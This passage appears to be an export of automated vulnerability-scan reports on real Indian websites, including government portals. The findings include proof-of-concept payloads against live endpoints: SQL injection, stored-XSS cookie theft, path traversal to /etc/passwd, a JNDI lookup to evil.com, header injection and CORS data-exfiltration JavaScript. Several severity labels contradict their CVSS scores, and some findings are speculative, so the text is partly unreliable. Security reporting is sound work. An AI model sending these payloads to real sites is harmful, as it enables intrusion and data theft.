(CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**\n\nMissing `X-Frame-Options` header allows framing of the main landing page inside malicious iframes, facilitating clickjacking attacks. Users unknowingly interact with overlaid elements controlled by adversaries, triggering unintended actions like changing settings or initiating transfers.\n\nClickjacking remains potent despite declining prevalence thanks to improved browser defaults and awareness campaigns.\n\n**Attack Scenario (Proof of Concept)**\n\nMalicious iframe embedding:\n```html\n<iframe src=\"https://onmark.co.in/nmu/\" width=\"100%\" height=\"100%\"></iframe>\n<div style=\"position:absolute;top:100px;left:200px;z-index:999;\">\n  Click here to win free gift!\n</div>\n```\n\nVictim clicks believing they’re interacting with overlay content while actually activating underlying buttons.\n\n**Business Impact**\n\nClickjacking undermines user autonomy and enables social engineering tactics. Financial institutions and e-commerce sites face heightened liability due to transactional deception risks.\n\n---\n\n### [HTTP Strict Transport Security (HSTS) / https://onmark.co.in/nmu/ / https://onmark.co.in/nmu/]\n\n| Field | Value |\n|---|---|\n| Severity | LOW |\n| CVSS Score | 3.7 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**\n\nCore landing page lacks HSTS enforcement, leaving room for protocol downgrade attacks. Despite supporting HTTPS, absence of HSTS permits attackers to force insecure connections initially, undermining long-term encryption assurance.\n\nHSTS preload list submissions become impossible without correct configuration.\n\n**Attack Scenario (Proof of Concept)**\n\nInitial visit over HTTP:\n```http\nGET / HTTP/1.1\nHost: onmark.co.in\n```\n\nServer redirects to HTTPS but doesn’t send HSTS header:\n```http\nHTTP/1.1 301 Moved Permanently\nLocation: https://onmark.co.in/\n```\n\nSubsequent visits remain vulnerable to interception until HSTS takes effect.\n\n**Business Impact**\n\nPersistent downgrade risks reduce confidence in encrypted communications. Enterprises seeking PCI compliance or government certifications must enforce HSTS across all domains.\n\n---\n\n### [MIME Type Confusion / https://onmark.co.in/nmu/ / https://onmark.co.in/nmu/]\n\n| Field | Value |\n|---|---|\n| Severity | LOW |\n| CVSS Score | 3.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**\n\nMissing `X-Content-Type-Options: nosniff` header permits MIME-type sniffing by legacy browsers, potentially interpreting benign content as executable. This flaw primarily affects older clients but retains relevance in mixed-browser environments.\n\nSniffing errors enable XSS payloads embedded in seemingly safe formats like images or stylesheets.\n\n**Attack Scenario (Proof of Concept)**\n\nUploading SVG伪装成图片:\n```xml\n<svg onload=\"alert(1)\">\n```\n\nBrowser interprets as HTML/XML instead of image, executing embedded script.\n\n**Business Impact**\n\nLegacy browser support expands attack footprint unnecessarily. Organizations maintaining backward compatibility must balance convenience with security rigor.","summary":{"total":59}},"summary":{"total":59}},{"_id":{"$oid":"6a255097f3e19ec33bfab1d0"},"created_at":{"$date":"2026-06-07T11:05:59.890Z"},"url":"https://mahait.org/","tool":"generate_web_vulnerability_report","result":{"url":"https://mahait.org/","category":"web_vulnerability","timestamp":"2026-06-07T11:05:59.877604+00:00","report":"# Web Vulnerabilities\n\n## Critical Findings\n\nNone.\n\n## High Findings\n\n### Internal Server Error / mahait.org / ArchiveSection/ArchiveNewsList?sort\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/ArchiveSection/ArchiveNewsList |\n\n**Description**  \nA 500 Internal Server Error was triggered when injecting a payload into the `sort` GET parameter on the `/ArchiveSection/ArchiveNewsList` endpoint. This indicates that the application fails to gracefully handle unexpected input, leading to unhandled exceptions or improper validation logic within backend processing routines. Such behavior may expose stack traces or internal system information if verbose error reporting is enabled.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker can send a crafted request with invalid or malformed values in the `sort` parameter:\n\n```http\nGET /ArchiveSection/ArchiveNewsList?sort=' OR 1=1-- HTTP/1.1\nHost: mahait.org\n```\n\nIf verbose errors are returned, they might reveal database query syntax, framework details, or even source code paths—information useful for further exploitation such as SQL injection or remote code execution.\n\n**Business Impact**  \nThis vulnerability could lead to service disruptions due to repeated crashes from malformed inputs. Additionally, it provides attackers with insight into the underlying architecture, increasing the risk of targeted attacks like SQLi or path traversal. It also reflects poorly on the organization’s ability to maintain stable services.\n\n---\n\n### Internal Server Error / mahait.org / ArchiveSection/ArchiveNewsList?sortdir\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/ArchiveSection/ArchiveNewsList |\n\n**Description**  \nInjecting payloads into the `sortdir` GET parameter resulted in a 500 Internal Server Error. This suggests inadequate input sanitization or lack of proper exception handling during sorting direction parsing. If user-controlled data influences server-side logic without sufficient checks, it may result in runtime failures or exploitable conditions.\n\n**Attack Scenario (Proof of Concept)**  \nExample malicious request:\n\n```http\nGET /ArchiveSection/ArchiveNewsList?sortdir=DESC%27 HTTP/1.1\nHost: mahait.org\n```\n\nSuch requests may cause backend systems to fail unexpectedly, potentially revealing sensitive debugging output or triggering denial-of-service scenarios under load.\n\n**Business Impact**  \nRepeated exploitation may degrade performance or availability of the affected resource. Attackers may use this as part of reconnaissance efforts to map out weak points in the application's defensive posture.\n\n---\n\n### Internal Server Error / mahait.org / Site/1544/Emergency?format\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/Site/1544/Emergency |\n\n**Description**  \nSending anomalous input via the `format` GET parameter caused an internal server error at the specified URL. This implies insufficient validation or incorrect interpretation of content-type parameters by the server-side handler. Improperly handled format strings can lead to buffer overflows, deserialization flaws, or other critical vulnerabilities depending on implementation specifics.\n\n**Attack Scenario (Proof of Concept)**  \nMalicious request:\n\n```http\nGET /Site/1544/Emergency?format={invalid_value} HTTP/1.1\nHost: mahait.org\n```\n\nDepending on how the value is processed internally, this could trigger unexpected behaviors including memory corruption or arbitrary code execution risks.\n\n**Business Impact**  \nPotential exposure of internal configurations or crash-based DoS against emergency-related pages which should remain highly available. Any instability here undermines public trust and operational continuity.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/Complaint POST __RequestVerificationToken\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/Complaint |\n\n**Description**  \nSubmitting an invalid or malformed anti-CSRF token (`__RequestVerificationToken`) led to a 500 response. This reveals poor error handling around security-critical components. While not directly exploitable for CSRF bypass, it exposes potential weaknesses in session management or authentication flows.\n\n**Attack Scenario (Proof of Concept)**  \nPOST Request Example:\n\n```http\nPOST /FeedbackText/Complaint HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\n__RequestVerificationToken=<malformed_token>&...\n```\n\nThis could be used to test whether tokens are properly validated before proceeding with business logic, possibly uncovering race conditions or incomplete protections.\n\n**Business Impact**  \nInconsistent handling of security tokens reduces confidence in form protection mechanisms. It increases the likelihood of successful phishing or automated abuse attempts targeting complaint submission forms.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/FeedbackText POST FName\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/FeedbackText |\n\n**Description**  \nInput manipulation in the `FName` field during feedback submission caused a server-side failure. This highlights missing input validation and robustness issues in form-processing pipelines. Unsanitized fields increase susceptibility to injection-style attacks or backend misbehavior.\n\n**Attack Scenario (Proof of Concept)**  \nSample Payload:\n\n```http\nPOST /FeedbackText/FeedbackText HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nFName=%27%22%3Cscript%3Ealert(1)%3C/script%3E&...\n```\n\nWhile XSS isn't confirmed, similar payloads often expose deeper parsing flaws that could escalate beyond simple display bugs.\n\n**Business Impact**  \nUnreliable form submissions reduce customer engagement and support effectiveness. Persistent instability may deter users from providing valuable feedback, impacting organizational responsiveness and reputation.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/TellUsFriend POST YourName\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/TellUsFriend |\n\n**Description**  \nFaulty handling of the `YourName` POST parameter triggered a 500 error. This demonstrates inconsistent validation across different endpoints sharing similar functionality. Insecure coding practices allow malformed data to propagate unchecked through business layers.\n\n**Attack Scenario (Proof of Concept)**  \nPayload Injection:\n\n```http\nPOST /FeedbackText/TellUsFriend HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nYourName=John%00Doe&...\n```\n\nNull-byte injection or special character combinations may disrupt downstream processes, especially those interacting with databases or file systems.\n\n**Business Impact**  \nInstability in referral-sharing features affects viral marketing strategies and user experience. Repeated failures may indicate broader architectural fragility requiring urgent remediation.\n\n---\n\n### Internal Server Error / mahait.org / WebSiteControls/SiteSerach POST name\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/WebSiteControls/SiteSerach |\n\n**Description**  \nImproper handling of search term input (`name`) leads to server-side exceptions. Search functions typically interface with multiple subsystems making them prime targets for amplification or traversal attacks. Lack of resilience here compromises core usability aspects.\n\n**Attack Scenario (Proof of Concept)**  \nSearch Query:\n\n```http\nPOST /WebSiteControls/SiteSerach HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nname=*'; DROP TABLE Users; --\n```\n\nEven if direct DB access isn't possible, malformed queries can still overwhelm resources or leak metadata about stored procedures or schema design.\n\n**Business Impact**  \nDegraded site navigation impacts SEO rankings and visitor retention. Vulnerable search interfaces pose significant risks given their frequent usage and broad reach.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/FeedbackText POST MobileNo\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/FeedbackText |\n\n**Description**  \nUnexpected input in the mobile number field (`MobileNo`) causes backend instability. Numeric-only expectations violated by non-numeric characters suggest brittle type coercion or regex matching routines prone to breaking under edge cases.\n\n**Attack Scenario (Proof of Concept)**  \nInvalid Input:\n\n```http\nPOST /FeedbackText/FeedbackText HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nMobileNo=+91-XXX-XXXXXXX%00&...\n```\n\nSuch entries may interfere with SMS gateway integrations or database storage procedures relying on strict formatting assumptions.\n\n**Business Impact**  \nErroneous contact capture hampers follow-up communications and analytics tracking. Operational inefficiencies compound over time affecting customer relationship management outcomes.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/TellUsFriend POST YourEmailID\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/TellUsFriend |\n\n**Description**  \nEmail address validation appears flawed since sending malformed email addresses results in server errors rather than clean rejections. This inconsistency opens avenues for spam relay testing or enumeration attacks aimed at identifying valid accounts.\n\n**Attack Scenario (Proof of Concept)**  \nMalformed Email:\n\n```http\nPOST /FeedbackText/TellUsFriend HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nYourEmailID=user@domain..com&...\n```\n\nDouble dots or missing domains may confuse parsers causing unexpected termination states or partial writes to logs/databases.\n\n**Business Impact**  \nCompromised integrity of friend-invitation workflows damages brand credibility. Malfunctioning email handling invites scrutiny regarding compliance with privacy regulations governing personal data collection.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/TellUsFriend POST FriendEmailID1\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/TellUsFriend |\n\n**Description**  \nSimilar to previous findings, faulty validation of secondary email recipient fields (`FriendEmailID1`) triggers server-side exceptions. These multi-field forms require coordinated validation logic which, when broken, creates cascading failure modes.\n\n**Attack Scenario (Proof of Concept)**  \nTest Case:\n\n```http\nPOST /FeedbackText/TellUsFriend HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nFriendEmailID1=test@example.com%0aBcc:test2@example.com&...\n```\n\nHeader injection techniques exploiting newline characters can manipulate outbound messages or redirect delivery routes undetected.\n\n**Business Impact**  \nAbuse of invitation mechanisms enables unauthorized mass mailing campaigns damaging sender reputation and violating anti-spam policies. Legal ramifications include fines under CAN-SPAM Act or GDPR provisions.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/FeedbackText POST EmailID\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/FeedbackText |\n\n**Description**  \nSubmission of invalid email addresses in the primary contact field (`EmailID`) leads to internal server errors. This pattern confirms systemic issues in validating structured input types across all feedback channels.\n\n**Attack Scenario (Proof of Concept)**  \nEdge Case Testing:\n\n```http\nPOST /FeedbackText/FeedbackText HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nEmailID=\"><img src=x onerror=alert(1)>\n```\n\nCross-site scripting vectors embedded in email fields may persist in admin dashboards or notification emails, expanding attack surface beyond initial entry point.\n\n**Business Impact**  \nPersistent XSS threats compromise administrative tools and internal communication streams. Data exfiltration or privilege escalation becomes feasible once trusted UI contexts are compromised.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/Complaint POST Service_Name\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/Complaint |\n\n**Description**  \nProviding unexpected values for the `Service_Name` dropdown selection causes backend failures. Dropdown selections usually map to predefined enums or lookup tables; deviation from expected formats indicates loose coupling between frontend constraints and backend enforcement.\n\n**Attack Scenario (Proof of Concept)**  \nTampered Selection:\n\n```http\nPOST /FeedbackText/Complaint HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nService_Name=../etc/passwd&...\n```\n\nPath traversal attempts disguised as service names may exploit weak mapping logic to access restricted files or directories indirectly.\n\n**Business Impact**  \nMisconfigured service routing undermines governance frameworks ensuring appropriate categorization of complaints. Unauthorized access to internal documentation or configuration files poses severe confidentiality breaches.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/TellUsFriend POST FriendEmailID2\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/TellUsFriend |\n\n**Description**  \nSecondary email field (`FriendEmailID2`) exhibits identical validation shortcomings as earlier counterparts. Repetitive patterns across multiple endpoints suggest centralized but inadequately hardened input processing modules.\n\n**Attack Scenario (Proof of Concept)**  \nRepetition Test:\n\n```http\nPOST /FeedbackText/TellUsFriend HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nFriendEmailID2=foo@bar.baz<script>alert(document.cookie)</script>&...\n```\n\nStored XSS payloads hidden inside optional email fields evade basic sanitizers unless explicitly filtered at both client and server ends.\n\n**Business Impact**  \nMulti-tiered XSS propagation threatens end-user devices and corporate networks alike. Compromised referral links facilitate credential theft or malware distribution campaigns leveraging social engineering tactics.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/Complaint POST Captcha\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/Complaint |\n\n**Description**  \nManipulation of CAPTCHA verification (`Captcha`) parameter induces server-side crashes. CAPTCHAs serve dual roles – bot mitigation and input normalization – so bypasses or crashes weaken overall defense-in-depth strategy.\n\n**Attack Scenario (Proof of Concept)**  \nCAPTCHA Tampering:\n\n```http\nPOST /FeedbackText/Complaint HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nCaptcha=abcd1234%00&...\n```\n\nNull-byte truncation or oversized inputs may corrupt session state or invalidate cryptographic checksums required for challenge-response validation.\n\n**Business Impact**  \nWeakened anti-bot defenses enable large-scale spamming or scraping operations. Automated abuse escalates costs associated with manual moderation and infrastructure scaling.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/FeedbackText POST Subject\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/FeedbackText |\n\n**Description**  \nSubject line (`Subject`) input mishandling results in server-side exceptions. Textual fields lacking length limits or encoding controls create fertile ground for log injection, header smuggling, or template rendering exploits.\n\n**Attack Scenario (Proof of Concept)**  \nLog Poisoning Attempt:\n\n```http\nPOST /FeedbackText/FeedbackText HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nSubject=Test%0d%0aX-Custom-Header:%20InjectedValue&...\n```\n\nCarriage return/newline sequences injected into subject lines may alter SMTP headers or corrupt audit trails stored in flat-file logs.\n\n**Business Impact**  \nCorrupted logging infrastructure impairs forensic analysis capabilities post-breach. Misleading records complicate incident response timelines and hinder regulatory compliance audits.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/Complaint POST Details\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/Complaint |\n\n**Description**  \nLong-form text area (`Details`) accepts arbitrary input leading to internal server errors upon encountering certain character sets or lengths. Free-text boxes demand rigorous filtering to prevent abuse ranging from DoS payloads to embedded scripts.\n\n**Attack Scenario (Proof of Concept)**  \nLarge Payload Submission:\n\n```http\nPOST /FeedbackText/Complaint HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nDetails=A*1000000\n```\n\nExcessive repetition or recursive nesting structures can exhaust memory pools or overflow buffers allocated for temporary storage.\n\n**Business Impact**  \nResource exhaustion attacks targeting complaint forms can degrade entire application performance. Denial-of-service conditions affect legitimate users seeking assistance or reporting incidents.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/FeedbackText POST Feedback_Suggestion\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/FeedbackText |\n\n**Description**  \nFreeform suggestion box (`Feedback_Suggestion`) lacks adequate safeguards resulting in server-side crashes. Open-ended comment sections frequently become dumping grounds for obfuscated payloads designed to probe backend behavior or trigger latent bugs.\n\n**Attack Scenario (Proof of Concept)**  \nObfuscation Technique:\n\n```http\nPOST /FeedbackText/FeedbackText HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nFeedback_Suggestion=${jndi:ldap://evil.com/a}\n```\n\nJava deserialization gadgets or expression language injections may activate dormant vulnerabilities in legacy libraries or third-party dependencies.\n\n**Business Impact**  \nRemote code execution possibilities arise from seemingly benign user-generated content. Organizations face liability for breaches originating from unfiltered community contributions.\n\n---\n\n### Internal Server Error / mahait.org / login_/loginpage POST hfRandomToken\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/login_/loginpage |\n\n**Description**  \nAuthentication flow relies on hidden random tokens (`hfRandomToken`) whose improper handling leads to server-side exceptions. Weaknesses in login sequence validation undermine fundamental identity assurance principles essential for secure access control.\n\n**Attack Scenario (Proof of Concept)**  \nToken Manipulation:\n\n```http\nPOST /login_/loginpage HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nhfRandomToken=invalid_or_expired_value&...\n```\n\nSession fixation or brute-force enumeration attacks may succeed where token validation is inconsistent or absent.\n\n**Business Impact**  \nAccount takeover risks escalate dramatically when authentication guards malfunction. Breaches involving privileged credentials expose sensitive datasets and administrative privileges.\n\n---\n\n### Internal Server Error / mahait.org / login_/loginpage POST UserName\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/login_/loginpage |\n\n**Description**  \nUsername field (`UserName`) fails to reject malformed identifiers triggering backend crashes. Usernames represent foundational identifiers influencing access decisions; thus, their validation must withstand adversarial probing.\n\n**Attack Scenario (Proof of Concept)**  \nUsername Enumeration:\n\n```http\nPOST /login_/loginpage HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nUserName=admin' OR '1'='1&Password=anything\n```\n\nSQL injection attempts masked as usernames may leak account existence or extract password hashes from vulnerable backends.\n\n**Business Impact**  \nCredential stuffing and brute-force campaigns gain traction when login portals do not enforce consistent error messaging or rate limiting. Account compromise leads to lateral movement opportunities within enterprise environments.\n\n---\n\n### Internal Server Error / mahait.org / ArchiveSection/ArchiveNewsList?page\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/ArchiveSection/ArchiveNewsList |\n\n**Description**  \nPagination parameter (`page`) susceptible to injection-style anomalies causing internal server errors. Pagination logic often interacts with ORM layers or raw SQL queries where integer casting or offset calculation mistakes introduce exploitable gaps.\n\n**Attack Scenario (Proof of Concept)**  \nOffset Overflow:\n\n```http\nGET /ArchiveSection/ArchiveNewsList?page=-1 HTTP/1.1\nHost: mahait.org\n```\n\nNegative indices or excessively high numbers may provoke undefined behavior in pagination algorithms, exposing adjacent dataset boundaries or crashing database connections.\n\n**Business Impact**  \nUncontrolled pagination exposes more data than intended, violating principle of least privilege. Performance degradation from inefficient queries strains backend capacity and degrades user experience.\n\n## Medium Findings\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/Login/FundDisbursedReport\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Login/FundDisbursedReport |\n\n**Description**\n\nImproper configuration of Cross-Origin Resource Sharing (CORS) policies can expose internal APIs or sensitive endpoints to unintended domains. When CORS headers are overly permissive—such as allowing credentials (`Access-Control-Allow-Credentials: true`) alongside wildcard origins (`Access-Control-Allow-Origin: *`) or specific untrusted domains—an attacker may exploit these settings to make cross-domain requests on behalf of authenticated users, potentially accessing protected data.\n\nIn this case, the endpoint `/Farmer/Login/FundDisbursedReport` appears to return CORS headers that do not properly restrict access based on origin, increasing the likelihood of unauthorized data retrieval.\n\n**Attack Scenario (Proof of Concept)**\n\nSuppose the server returns the following header:\n\n```\nAccess-Control-Allow-Origin: http://attacker.com\nAccess-Control-Allow-Credentials: true\n```\n\nAn attacker hosts a malicious webpage at `http://attacker.com`, embedding JavaScript that makes an XMLHttpRequest to the vulnerable endpoint:\n\n```javascript\nvar xhr = new XMLHttpRequest();\nxhr.open('GET', 'https://mahadbt.maharashtra.gov.in/Farmer/Login/FundDisbursedReport', true);\nxhr.withCredentials = true;\nxhr.onload = function() {\n    console.log(xhr.responseText); // Exfiltrate sensitive data\n};\nxhr.send();\n```\n\nWhen a logged-in user visits the attacker's site, the browser automatically includes cookies, enabling the attacker to retrieve private reports belonging to the victim.\n\n**Business Impact**\n\nSuch misconfigurations can lead to unauthorized exposure of confidential farmer financial data, violating privacy expectations and potentially breaching regulatory compliance frameworks like GDPR or India's Digital Personal Data Protection Act. Additionally, it opens avenues for further targeted phishing or social engineering campaigns leveraging stolen personal information.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/PDF/Aaple%20Sarkar%20DBT%20Portal%20Help%20file.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/PDF/Aaple%20Sarkar%20DBT%20Portal%20Help%20file.pdf |\n\n**Description**\n\nPDF documents hosted under the domain should ideally not be accessible via cross-origin requests unless explicitly required. Improper CORS configurations on static assets like PDFs can enable attackers to embed them in malicious contexts, possibly triggering automatic downloads or embedding behaviors that bypass typical protections. If the document contains embedded links or scripts, it might pose additional risks depending on how clients interpret the content.\n\nHere, the presence of permissive CORS headers on the help file suggests improper handling of access controls for static content.\n\n**Attack Scenario (Proof of Concept)**\n\nAssuming the server responds with:\n\n```\nAccess-Control-Allow-Origin: *\n```\n\nAn attacker creates an iframe pointing to the PDF:\n\n```html\n<iframe src=\"https://mahadbt.maharashtra.gov.in/PDF/Aaple%20Sarkar%20DBT%20Portal%20Help%20file.pdf\"></iframe>\n```\n\nWhile modern browsers block many interactions with PDFs inside frames, older versions or custom viewers might still allow some level of manipulation or exfiltration of metadata.\n\nAlternatively, if the PDF contains hyperlinks or form fields, they could redirect users to attacker-controlled sites, facilitating credential harvesting or malware delivery.\n\n**Business Impact**\n\nExposing documentation through insecure CORS policies may inadvertently leak operational details about system workflows or internal processes. Although less critical than API leaks, it contributes to reconnaissance efforts by adversaries seeking deeper understanding of the application architecture.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-SubMissionOnFarmMechanization.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-SubMissionOnFarmMechanization.pdf |\n\n**Description**\n\nSimilar to previous findings, this PDF file exhibits improper CORS configuration. Static files such as scheme-related documents should generally not permit unrestricted cross-origin access unless necessary for integration purposes. Permissive CORS headers increase the surface area for abuse, especially when combined with other vulnerabilities.\n\n**Attack Scenario (Proof of Concept)**\n\nUsing similar techniques as described earlier, an attacker embeds the PDF in a malicious frame or uses fetch/XHR to access its contents programmatically:\n\n```javascript\nfetch(\"https://mahadbt.maharashtra.gov.in/Farmer/PDF/Scheme-SubMissionOnFarmMechanization.pdf\")\n  .then(response => response.blob())\n  .then(blob => {\n    const url = URL.createObjectURL(blob);\n    window.open(url); // Opens PDF in new tab\n  });\n```\n\nDepending on browser behavior and plugin support, this could result in unexpected execution paths or data leakage.\n\n**Business Impact**\n\nUnauthorized access to agricultural policy documents may assist threat actors in crafting more convincing phishing messages or identifying targets within government systems. While not directly exploitable for privilege escalation, it weakens overall defense posture and supports broader reconnaissance activities.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/Login/FCFSNonAadhaarProfileList\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.9 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Login/FCFSNonAadhaarProfileList |\n\n**Description**\n\nThis endpoint likely serves lists of farmer profiles eligible under First Come First Serve schemes. A misconfigured CORS policy here could expose personally identifiable information (PII) related to applicants, particularly Aadhaar-linked identifiers. Given the sensitivity of such data, even partial disclosure constitutes a significant breach.\n\n**Attack Scenario (Proof of Concept)**\n\nIf the server sends:\n\n```\nAccess-Control-Allow-Origin: https://evil-site.com\nAccess-Control-Allow-Credentials: true\n```\n\nThen an attacker can craft a script to extract profile 